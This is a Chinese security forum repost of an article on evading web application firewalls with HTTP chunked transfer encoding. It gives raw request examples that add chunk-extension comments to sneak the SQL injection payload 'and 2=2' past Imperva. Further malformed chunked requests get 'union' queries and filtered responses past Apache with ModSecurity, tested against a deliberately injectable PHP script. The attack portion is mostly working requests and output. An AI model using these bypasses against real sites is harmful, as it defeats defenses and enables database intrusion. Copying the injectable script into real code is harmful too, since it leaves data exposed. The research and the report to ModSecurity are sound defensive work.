安全矩阵

 找回密码
 立即注册
搜索
查看: 2237|回复: 0

利用分块传输吊打所有WAF

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-23 12:35:59 | 显示全部楼层 |阅读模式
原文链接:利用分块传输吊打所有WAF

技巧1 使用注释扰乱分块数据包
一些如Imperva、360等比较好的WAF已经对Transfer-Encoding的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。
我们可以在[RFC7230]中查看到有关分块传输的定义规范
  1. 4.1.  Chunked Transfer Coding

  2.    The chunked transfer coding wraps the payload body in order to
  3.    transfer it as a series of chunks, each with its own size indicator,
  4.    followed by an OPTIONAL trailer containing header fields.  Chunked
  5.    enables content streams of unknown size to be transferred as a
  6.    sequence of length-delimited buffers, which enables the sender to
  7.    retain connection persistence and the recipient to know when it has
  8.    received the entire message.

  9.      chunked-body   = *chunk
  10.                       last-chunk
  11.                       trailer-part
  12.                       CRLF

  13.      chunk          = chunk-size [ chunk-ext ] CRLF
  14.                       chunk-data CRLF
  15.      chunk-size     = 1*HEXDIG
  16.      last-chunk     = 1*("0") [ chunk-ext ] CRLF

  17.      chunk-data     = 1*OCTET ; a sequence of chunk-size octets

  18.    The chunk-size field is a string of hex digits indicating the size of
  19.    the chunk-data in octets.  The chunked transfer coding is complete
  20.    when a chunk with a chunk-size of zero is received, possibly followed
  21.    by a trailer, and finally terminated by an empty line.

  22.    A recipient MUST be able to parse and decode the chunked transfer
  23.    coding.

  24. 4.1.1.  Chunk Extensions

  25.    The chunked encoding allows each chunk to include zero or more chunk
  26.    extensions, immediately following the chunk-size, for the sake of
  27.    supplying per-chunk metadata (such as a signature or hash),
  28.    mid-message control information, or randomization of message body
  29.    size.

  30.      chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )

  31.      chunk-ext-name = token
  32.      chunk-ext-val  = token / quoted-string

  33.    The chunked encoding is specific to each connection and is likely to
  34.    be removed or recoded by each recipient (including intermediaries)
  35.    before any higher-level application would have a chance to inspect
  36.    the extensions.  Hence, use of chunk extensions is generally limited
复制代码
通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释,如:
  1. 9;kkkkk
  2. 1234567=1
  3. 4;ooo=222
  4. 2345
  5. 0
  6. (两个换行)
复制代码

几乎所有可以识别Transfer-Encoding数据包的WAF,都没有处理分块数据包中长度标识处的注释,导致在分块数据包中加入注释的话,WAF就识别不出这个数据包了。
现在我们在使用了Imperva应用防火墙的网站测试常规的分块传输数据包:
  1. POST /xxxxxx.jsp HTTP/1.1
  2. ......
  3. Transfer-Encoding: Chunked

  4. 9
  5. xxxxxxxxx
  6. 9
  7. xx=xxxxxx
  8. 9
  9. xxxxxxxxx
  10. 1
  11. d
  12. 9
  13. &a=1  and  
  14. 3
  15. 2=2
  16. 0
  17. (两个换行)
复制代码

返回的结果如下图所示

可以看到我们的攻击payload “and 2=2”被Imperva的WAF拦截了。
这时我们将分块传输数据包加入注释符


  1. POST /xxxxxx.jsp HTTP/1.1
  2. ......
  3. Transfer-Encoding: Chunked

  4. 9
  5. xxxxxxxxx
  6. 9
  7. xx=xxxxxx
  8. 9
  9. xxxxxxxxx
  10. 1;testsdasdsad
  11. d
  12. 9;test
  13. &a=1  and  
  14. 3;test44444
  15. 2=2
  16. 0
  17. (两个换行)
复制代码

返回的结果如下图所示。

可以看到Imperva已经不拦截这个payload了。
技巧2 Bypass ModSecurity
众所周知ModSecurity是加载在中间件上的插件,所以不需要理会解析http数据包的问题,因为中间件已经帮它处理完了,那么无论使用常规的分块还是加了注释的分块数据包,ModSecurity都能直接获取到完整的http数据包然后匹配危险关键字,所以一些基于ModSecurity做的WAF产品难道就不受影响吗?
接下来我们在Apache+ModSecurity环境做测试。
sql.php代码如下:

  1. <?php
  2. ini_set("display_errors", "On");
  3. error_reporting(E_ALL);
  4. $con = mysql_connect("localhost","root","");
  5. if (!$con)
  6. {
  7. die('Could not connect: ' . mysql_error());
  8. }
  9. mysql_select_db("test", $con);
  10. $id = $_REQUEST["id"];
  11. $sql = "select * from user where id=$id";
  12. $result = mysql_query($sql,$con);
  13. while($row = mysql_fetch_array($result))
  14. {
  15. echo $row['name'] . " " . $row['password']."n";
  16. }
  17. mysql_close($con);
  18. print "========GET==========n";
  19. print_r($_GET);
  20. print "========POST==========n";
  21. print_r($_POST);
  22. ?>
  23. <a href="sqli.php?id=1"> sdfsdf </a>
复制代码

ModSecurity加载的规则拦截了请求包中的关键字“union”。
下面我们的请求和返回结果如下:
  1. 请求:
  2. http://10.10.10.10/sql.php?id=2%20union

  3. 返回:
  4. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  5. <html><head>
  6. <title>404 Not Found</title>
  7. </head><body>
  8. <h1>Not Found</h1>
  9. <p>The requested URL /sql.php was not found on this server.</p>
  10. <hr>
  11. <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
  12. </body></html>
复制代码

可以看到我们的“union”关键字被拦截了。
接下来我们传输一个畸形的分块数据包看看
  1. 请求:
  2. POST /sql.php?id=2%20union HTTP/1.1
  3. ......
  4. Transfer-Encoding: chunked

  5. 1
  6. aa
  7. 0
  8. (两个换行)

  9. 返回:
  10. <title>400 Bad Request</title>
  11. </head><body>
  12. <h1>Bad Request</h1>
  13. <p>Your browser sent a request that this server could not understand.<br />
  14. </p>
  15. <hr>
  16. <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
  17. </body></html>
  18. ========GET==========
  19. Array
  20. (
  21. [id] => 2 union
  22. )
  23. ========POST==========
  24. Array
  25. (
  26. )
复制代码

可以看到虽然apache报错了,但是因为apache容错很强,所以我们提交的参数依然传到了php,而我们的ModSecurity并没有处理400错误的数据包,最终绕过了ModSecurity。
接下来我们把ModSecurity的规则改为过滤返回数据中包含“root”的字符串,然后在sql.php脚本中加入打印“root”关键字的代码。
接着我们做如下测试:

  1. 请求:
  2. http://10.10.10.10/sql.php?id=1

  3. 返回:
  4. <html><head>
  5. <title>403 Forbidden</title>
  6. </head><body>
  7. <h1>Forbidden</h1>
  8. <p>You don't have permission to access /sql.php
  9. on this server.</p>
  10. <hr>
  11. <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
  12. </body></html>
复制代码
因为sql.php脚本中返回了带有“root”的关键字,所以直接就被ModSecurity拦截了。这时我们改为发送畸形的分块数据包
  1. 请求:
  2. POST /sql.php?id=1 HTTP/1.1
  3. Host: 10.10.10.10
  4. Connection: keep-alive
  5. Content-Type: application/x-www-form-urlencoded
  6. Transfer-Encoding: chunked
  7. Content-Length: 16

  8. 3
  9. 123
  10. 1
  11. 0
  12. (两个换行)

  13. 返回:
  14. <html><head>
  15. <title>400 Bad Request</title>
  16. </head><body>
  17. <h1>Bad Request</h1>
  18. <p>Your browser sent a request that this server could not understand.<br />
  19. </p>
  20. <hr>
  21. <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
  22. </body></html>
  23. root 123456
  24. ========GET==========
  25. Array
  26. (
  27. [id] => 1
  28. )
  29. ========POST==========
  30. Array
  31. (
  32. )
复制代码

通过两个测试可以发现使用畸形的分块数据包可以直接绕过ModSecurity的检测。这个问题我们在2017年4月已提交给ModSecurity官方,但是因为种种问题目前依然未修复。

最后
本文是在《在HTTP协议层面绕过WAF》基础上作了一些简单的补充,文中介绍的方法对于常规的WAF基本上能直接Bypass,并不能绕过Filter、代码层通用防注之流。分块传输还有很多有趣的玩法,欢迎各位朋友一些交流学习。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 01:58 , Processed in 0.015328 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表